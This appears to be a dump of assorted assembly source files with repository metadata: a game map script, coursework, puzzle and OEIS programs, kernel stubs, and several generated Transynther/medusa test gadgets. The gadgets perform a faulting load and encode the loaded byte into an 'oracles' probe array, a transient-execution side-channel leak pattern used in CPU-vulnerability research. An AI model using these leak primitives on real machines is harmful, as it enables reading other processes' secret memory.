object_const_def ; object_event constants const VERMILIONPORTPASSAGE_TEACHER VermilionPortPassage_MapScripts: db 0 ; scene scripts db 0 ; callbacks VermilionPortPassageTeacherScript: jumptextfaceplayer VermilionPortPassageTeacherText VermilionPortPassageTeacherText: text "The FAST SHIP" line "sails on Wednes-" cont "days and Sundays" cont "every week." done VermilionPortPassage_MapEvents: db 0, 0 ; filler db 5 ; warp events warp_event 15, 0, VERMILION_CITY, 8 warp_event 16, 0, VERMILION_CITY, 9 warp_event 15, 4, VERMILION_PORT_PASSAGE, 4 warp_event 3, 2, VERMILION_PORT_PASSAGE, 3 warp_event 3, 14, VERMILION_PORT, 1 db 0 ; coord events db 0 ; bg events db 1 ; object events object_event 17, 1, SPRITE_TEACHER, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, VermilionPortPassageTeacherScript, -1
24.6
144
0.778165
f97b3a4e68371f118f3e1ef430328ff27b61d702
2,456
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_64_800.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_64_800.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_64_800.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r8 push %rbp push %rbx push %rcx push %rsi lea addresses_WC_ht+0x6ef6, %r8 nop nop nop nop nop and %rbx, %rbx mov $0x6162636465666768, %rsi movq %rsi, (%r8) nop nop inc %r8 lea addresses_normal_ht+0x864d, %rbp nop nop nop nop cmp $40333, %r14 vmovups (%rbp), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %rbx nop nop inc %rbx lea addresses_WC_ht+0x19f66, %r10 nop nop sub %rcx, %rcx mov $0x6162636465666768, %r14 movq %r14, %xmm4 vmovups %ymm4, (%r10) nop nop cmp $60595, %rcx lea addresses_normal_ht+0x1eef6, %rbp nop nop nop nop sub %r14, %r14 vmovups (%rbp), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %rbx sub %rcx, %rcx lea addresses_A_ht+0x8ef6, %rcx nop nop nop nop nop add $51417, %rbx and $0xffffffffffffffc0, %rcx movaps (%rcx), %xmm3 vpextrq $0, %xmm3, %rbp nop nop nop nop nop dec %r14 pop %rsi pop %rcx pop %rbx pop %rbp pop %r8 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %r15 push %rbp push %rbx push %rdi // Faulty Load lea addresses_D+0x19af6, %r10 nop nop nop nop nop and $53761, %rbx movb (%r10), %r11b lea oracles, %r14 and $0xff, %r11 shlq $12, %r11 mov (%r14,%r11,1), %r11 pop %rdi pop %rbx pop %rbp pop %r15 pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 9, 'same': False}} {'36': 64} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
19.492063
191
0.656759
89ccc45fa8d4d13685ce24d062e711f66905000c
2,873
asm
Assembly
asm_main.asm
CISVVC/cis208-chapter05-arrays-Tyler-Lafond
8f251b15fc08ee11f54827049b170c05df2074b8
[ "Unlicense" ]
null
null
null
asm_main.asm
CISVVC/cis208-chapter05-arrays-Tyler-Lafond
8f251b15fc08ee11f54827049b170c05df2074b8
[ "Unlicense" ]
null
null
null
asm_main.asm
CISVVC/cis208-chapter05-arrays-Tyler-Lafond
8f251b15fc08ee11f54827049b170c05df2074b8
[ "Unlicense" ]
null
null
null
;FileName: asm_main.asm ;Author: Tyler Lafond ;Description: Multiplies an array by a scalar and prints the new array ;Email: tylerl5014@student.vvc.edu ; ; file: asm_main.asm %include "asm_io.inc" %define DOUBLEWORD 4 ; Defines variable to space DWORDS in array ; ; initialized data is put in the .data segment ; segment .data syswrite: equ 4 stdout: equ 1 exit: equ 1 SUCCESS: equ 0 kernelcall: equ 80h a1: dd 2,5,4,7,1 ; Dword array used in the program scalar: dd 2 ; Variable to scale arary values by size: dd 5 ; Size of array ; uninitialized data is put in the .bss segment ; segment .bss ; ; code is put in the .text segment ; segment .text global asm_main asm_main: enter 0,0 ; setup routine pusha ; *********** Start Assignment Code ******************* mov eax, 0 ; EAX = 0, EBX = scalar, ECX = size, edx = a1 mov ebx, [scalar] mov ecx, [size] mov edx, a1 push edx ; Pushes EAX, EBX, ECX, and EDX to the stack push ecx push ebx push eax call changeArray ; Calls changeArray function call printArray ; Calls printArray function w/ params passed from the stack values from changeArray ; *********** End Assignment Code ********************** popa mov eax, SUCCESS ; return back to the C program leave ret changeArray: ; changeArray Prologue Code pop ebp ; Pops return address to ebp pop eax ; Pops other stack values into respective regs pop ebx pop ecx pop edx changeArrayLoop: ; changeArray Body. Starts at last value of array mov eax, [edx + ecx*DOUBLEWORD - 4] ; Moves the current array value into eax imul eax, ebx ; Multiplies EAX by EBX mov [edx + ecx*DOUBLEWORD - 4], eax ; Replaces old array value with new value xor eax, eax ; Sets EAX to 0 loop changeArrayLoop ; Loops through changeArrayLoop xor ebx, ebx ; Sets EBX to 0 changeArrayEnd: ; changeArray Epilogue Code push edx ; Pushes EAX, ECX, EDX, and EBP to the stack push ecx push eax push ebp ret ; Returns to asm_main printArray: ; printArray Prologue Code pop ebp ; Pops return address to EBP pop eax ; Pops other stack values into respective regs pop ecx pop edx printArrayLoop: ; printArray Body. Starts at first value of array cmp ecx, [size] ; Compares ECX with size. JE Epilogue Code je printArrayEnd mov eax, [edx + ecx*DOUBLEWORD] ; Moves current array value to EAX and prints call print_int call print_nl inc ecx ; Increments ECX xor eax, eax ; Sets EAX to 0 jmp printArrayLoop ; Jumps to printArrayLoop printArrayEnd: ; printArray Epilogue Code push ebp ; Pushes EBP to stack ret ; Return to asm_main
32.647727
106
0.638357
953fd8bdf12cd379c910a5f5474683b762e5436c
150
asm
Assembly
solutions/19 - Content Creators Bug Fix/size-4_speed-26.asm
michaelgundlach/7billionhumans
02c6f3963364362c95cb516cbc6ef1efc073bb2e
[ "MIT" ]
45
2018-09-05T04:56:59.000Z
2021-11-22T08:57:26.000Z
solutions/19 - Content Creators Bug Fix/size-4_speed-26.asm
michaelgundlach/7billionhumans
02c6f3963364362c95cb516cbc6ef1efc073bb2e
[ "MIT" ]
36
2018-09-01T11:34:26.000Z
2021-05-19T23:20:49.000Z
solutions/19 - Content Creators Bug Fix/size-4_speed-26.asm
michaelgundlach/7billionhumans
02c6f3963364362c95cb516cbc6ef1efc073bb2e
[ "MIT" ]
36
2018-09-01T07:44:19.000Z
2021-09-10T19:07:35.000Z
-- 7 Billion Humans (2053) -- -- 19: Content Creators Bug Fix -- -- Author: soerface -- Size: 4 -- Speed: 26 step e a: takefrom sw giveto se jump a
11.538462
34
0.64
b2045e24d8b5c6ff493af15b771ddf80e8822c1e
4,693
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_1651.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_1651.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_1651.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r15 push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x996b, %rsi lea addresses_D_ht+0x90eb, %rdi nop nop nop nop xor $57468, %r15 mov $26, %rcx rep movsw nop nop nop nop nop sub %rbx, %rbx lea addresses_A_ht+0x19aeb, %rsi lea addresses_WT_ht+0x1b56b, %rdi nop nop nop and %rdx, %rdx mov $7, %rcx rep movsw nop and $49473, %rbx lea addresses_D_ht+0xcb6b, %r15 nop nop nop nop sub %r8, %r8 mov (%r15), %rsi nop nop nop and $17349, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r15 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r9 push %rdi push %rsi // Faulty Load lea addresses_WT+0xcd6b, %rsi clflush (%rsi) nop add $56617, %rdi vmovups (%rsi), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $1, %xmm7, %r11 lea oracles, %rsi and $0xff, %r11 shlq $12, %r11 mov (%rsi,%r11,1), %r11 pop %rsi pop %rdi pop %r9 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': True, 'NT': True, 'congruent': 9, 'same': False}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
49.4
2,999
0.662263
18b140c4b82db275924ac674e08ea62d167e41ab
128
asm
Assembly
data/mcp/asm/prog_06_06.asm
colinw7/CZ80
458e83ffdca23dcfc92e78de9b802219a85f059a
[ "MIT" ]
null
null
null
data/mcp/asm/prog_06_06.asm
colinw7/CZ80
458e83ffdca23dcfc92e78de9b802219a85f059a
[ "MIT" ]
null
null
null
data/mcp/asm/prog_06_06.asm
colinw7/CZ80
458e83ffdca23dcfc92e78de9b802219a85f059a
[ "MIT" ]
null
null
null
0D00 DD 21 80 0E 0D04 FD 21 00 0E 0D08 0E 10 0D0A DD 46 00 0D0D FD 70 00 0D10 DD 23 0D12 FD 23 0D14 0D 0D15 C2 0A 0D 0D18 DF 5B
11.636364
16
0.71875
b7caba448d1ad1f685ada737d83254e452bfbaaa
700
asm
Assembly
oeis/024/A024170.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/024/A024170.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/024/A024170.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A024170: Expansion of 1/((1-x)(1-6x)(1-9x)(1-10x)). ; Submitted by Jon Maiga ; 1,26,447,6412,83153,1012158,11803219,133502864,1476280245,16046160130,172084379831,1825884161556,19206817023577,200615621740742,2083177317949083,21525527306347288,221502445537069949,2271269319624406794,23219018846475435775,236747850548524680860,2408501851629307792161,24454254955930395227086,247865835462084418740707,2508568875422136049959072,25354889127490593248499013,255971728750674663140806418,2581523029486739022804260679,26011483200875764643571474724,261881115531963673533253155305 add $0,2 lpb $0 sub $0,1 add $2,2 mul $2,6 sub $2,9 mul $3,10 add $3,$1 mul $1,9 add $1,$2 lpe mov $0,$3 div $0,3
38.888889
489
0.817143
8f8f23f6e25bcb8596409ef24ba86fbc42ff713d
1,426
asm
Assembly
kernel/arch/amd64/cpu/cpu.asm
griwes/reaveros
01cc1be330e920d45445db32e44eb4b91491f36c
[ "Apache-2.0" ]
17
2017-04-29T23:59:07.000Z
2022-03-11T12:15:20.000Z
kernel/arch/amd64/cpu/cpu.asm
griwes/reaveros
01cc1be330e920d45445db32e44eb4b91491f36c
[ "Apache-2.0" ]
9
2016-01-29T10:07:01.000Z
2021-07-20T19:42:22.000Z
kernel/arch/amd64/cpu/cpu.asm
griwes/reaveros
01cc1be330e920d45445db32e44eb4b91491f36c
[ "Apache-2.0" ]
5
2016-02-03T22:15:37.000Z
2021-03-19T14:09:58.000Z
/* * Copyright © 2021 Michał 'Griwes' Dominiak * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ .global load_gdtr .global load_idtr .global common_interrupt_stub .extern common_interrupt_handler load_gdtr: lgdt [rdi] push 0x8 lea rax, [rip + _ret] push rax retfq _ret: mov ax, 0x10 mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax ret load_idtr: lidt [rdi] ret common_interrupt_stub: push rax push rbx push rcx push rdx push rsi push rdi push rbp push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 call common_interrupt_handler isr_context_return: pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rbp pop rdi pop rsi pop rdx pop rcx pop rbx pop rax add rsp, 16 iretq
16.390805
75
0.648668
9cace295b9b9ac0735ac3985d2f10f349615c42c
1,727
asm
Assembly
util/cv/cal/papal.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
util/cv/cal/papal.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
util/cv/cal/papal.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
* SMS2 calendar table for England v0.01  Mar 1988 J.R.Oakley QJUMP * section calendar * xref cv_montb xref cv_jleap xref cv_jdivt xref cv_gleap xref cv_gdivt * xdef cv_papal * cv_papal dc.w cln_eeng-*-2 dc.b 'Papal' cln_eeng dc.w 2 ; two tables * dc.l $7ffd9c9a ; this set valid to this day dc.l 1582 ; which is this year... dc.w 12,31 ; ...month and day dc.l -44084 ; fudge factor dc.w cd1_engl-* ; discontinuities in this range dc.w cv_montb-* ; days in month dc.w cv_jleap-* ; leap calculations dc.w cv_jdivt-* ; constants * cv2_engl dc.l $ffffffff ; this set valid to this day dc.l 6000000 ; which is this year... dc.w 0,0 ; ...month and day dc.l 0 ; fudge factor dc.w cd2_engl-* ; discontinuities in this range dc.w cv_montb-* ; days in month dc.w cv_gleap-* ; leap calculations dc.w cv_gdivt-* ; constants * cd1_engl dc.w 1 ; one discontinuity dc.l 1582 ; in this year... dc.w 10 ; ...this month dc.w 5,10 ; 10 days missing, starting at the 5th cd2_engl dc.w 0 ; no (more) discontinuities * end
35.979167
78
0.414592
a646404e11ab52b42ed829623815af29ec847030
1,456
asm
Assembly
tests/vbr/stage2_large.asm
pdboot/pdboot
8a95532783adb78b2c991082f386eade35281aae
[ "Unlicense" ]
3
2015-12-30T18:49:14.000Z
2021-08-14T20:01:33.000Z
tests/vbr/stage2_large.asm
pdboot/pdboot
8a95532783adb78b2c991082f386eade35281aae
[ "Unlicense" ]
null
null
null
tests/vbr/stage2_large.asm
pdboot/pdboot
8a95532783adb78b2c991082f386eade35281aae
[ "Unlicense" ]
null
null
null
[BITS 16] [ORG 0x2000] ; This is an artificially inflated stage 2, which has a character to output ; every 10240 bytes, to prove that the whole file was loaded. ; Allow interrupts ; See http://forum.osdev.org/viewtopic.php?p=236455#p236455 for more information sti xor dx,dx mov bp,message jmp start_output output_loop: int 0x10 ; output add dx,640 ; 10k separation per character = 640 paragraphs start_output: mov ds,dx mov ah,0x0e ; BIOS teletype mov al,[ds:bp] ; get next char cmp al,0 ; check for end of string jnz output_loop hang: ; Bochs magic breakpoint, for unit testing purposes. xchg bx,bx sti hlt jmp hang message: db "L" times 10239 db 0 db "o" times 10239 db 0 db "a" times 10239 db 0 db "d" times 10239 db 0 db "e" times 10239 db 0 db "d" times 10239 db 0 db " " times 10239 db 0 db "i" times 10239 db 0 db "n" times 10239 db 0 db "o" times 10239 db 0 db "d" times 10239 db 0 db "e" times 10239 db 0 db " " times 10239 db 0 db "5" times 10239 db 0 db " " times 10239 db 0 db "s" times 10239 db 0 db "t" times 10239 db 0 db "a" times 10239 db 0 db "g" times 10239 db 0 db "e" times 10239 db 0 db "2" times 10239 db 0 db " " times 10239 db 0 db "b" times 10239 db 0 db "o" times 10239 db 0 db "o" times 10239 db 0 db "t" times 10239 db 0 db "l" times 10239 db 0 db "o" times 10239 db 0 db "a" times 10239 db 0 db "d" times 10239 db 0 db "e" times 10239 db 0 db "r" times 10239 db 0 db "." times 10239 db 0 db 0
14.857143
80
0.691621
fec5fab14214dc6a278c40f95023e5a986c32bf6
403
asm
Assembly
oeis/175/A175504.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/175/A175504.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/175/A175504.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A175504: a(n) = n ^ (phi(n) - 1), phi(n) = A000010(n) = Euler totient function. ; Submitted by Jamie Morken(s2) ; 1,1,3,4,125,6,16807,512,59049,1000,2357947691,1728,1792160394037,537824,170859375,268435456,2862423051509815793,1889568,5480386857784802185939,1280000000,350277500542221 mov $1,$0 add $0,1 seq $1,10 ; Euler totient function phi(n): count numbers <= n and prime to n. sub $1,1 pow $0,$1
40.3
171
0.729529
d9a028ebe84afedd4521d7ecd6ac8c2e1c3d5d92
172
asm
Assembly
libsrc/_DEVELOPMENT/adt/wa_stack/c/sccz80/wa_stack_pop.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/wa_stack/c/sccz80/wa_stack_pop.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/wa_stack/c/sccz80/wa_stack_pop.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; void *wa_stack_pop(wa_stack_t *s) SECTION code_adt_wa_stack PUBLIC wa_stack_pop defc wa_stack_pop = asm_wa_stack_pop INCLUDE "adt/wa_stack/z80/asm_wa_stack_pop.asm"
15.636364
47
0.819767
fc6907541c86798543af707b082e4566498f5369
837
asm
Assembly
oeis/142/A142744.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/142/A142744.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/142/A142744.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A142744: Primes congruent to 17 mod 59. ; Submitted by Jon Maiga ; 17,607,1433,1669,1787,2141,2377,2731,3203,3557,3793,3911,4973,5209,5563,6271,6389,7333,7451,7687,8513,8867,9103,9221,9811,9929,11699,12289,13469,14177,14767,15121,16183,16301,17599,18307,18661,19841,20431,20549,20903,21139,21493,21611,23027,23971,24443,25033,25741,26449,26921,27983,28219,28573,28927,29399,29753,29989,30697,31051,32467,32939,33529,33647,34591,35771,36007,36479,36833,37423,38603,38839,39901,40609,41081,42379,43441,43913,44267,44621,45329,46273,47807,48397,48751,48869,49223,49459 mov $1,8 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,1 mov $3,$1 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,59 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 sub $0,60 mul $0,2 add $0,3
33.48
500
0.728793
b27020f1e3028a9978c4dc451346c24a174d8a39
6,331
asm
Assembly
Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_21829_1554.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_21829_1554.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_21829_1554.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r14 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0xb68c, %rdx nop nop nop nop xor %rcx, %rcx mov (%rdx), %r14d nop nop nop cmp $56445, %r14 lea addresses_WT_ht+0x1e96c, %rcx clflush (%rcx) nop nop inc %r12 movw $0x6162, (%rcx) nop nop nop cmp %rdx, %rdx lea addresses_normal_ht+0x180bc, %r10 nop cmp %r9, %r9 movb $0x61, (%r10) nop nop nop nop nop dec %r14 lea addresses_A_ht+0x1520c, %r12 nop nop xor $4377, %r14 mov (%r12), %r9d nop nop nop nop sub $17474, %rcx lea addresses_WT_ht+0x18e23, %rsi lea addresses_WT_ht+0xd40c, %rdi clflush (%rdi) nop nop nop nop sub %r14, %r14 mov $14, %rcx rep movsw nop nop nop nop nop xor %rsi, %rsi lea addresses_UC_ht+0x19a0c, %r10 nop nop add %rdi, %rdi movb $0x61, (%r10) nop nop nop xor %rax, %rax lea addresses_UC_ht+0x1ec00, %r9 nop dec %rcx mov (%r9), %edi nop nop nop nop nop sub $52760, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r14 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r8 push %r9 push %rax push %rbp push %rsi // Store lea addresses_normal+0x626d, %r9 nop nop add $15111, %rbp movl $0x51525354, (%r9) nop sub $53988, %r9 // Store lea addresses_normal+0x12fcc, %r8 nop nop cmp $10861, %r10 mov $0x5152535455565758, %r9 movq %r9, %xmm7 movups %xmm7, (%r8) nop cmp %rsi, %rsi // Store mov $0x20c, %rbp nop nop nop nop nop add %r8, %r8 movl $0x51525354, (%rbp) nop nop nop xor %r8, %r8 // Faulty Load lea addresses_US+0xda0c, %rsi nop nop nop nop dec %rax movb (%rsi), %r9b lea oracles, %r8 and $0xff, %r9 shlq $12, %r9 mov (%r8,%r9,1), %r9 pop %rsi pop %rbp pop %rax pop %r9 pop %r8 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} [Faulty Load] {'OP': 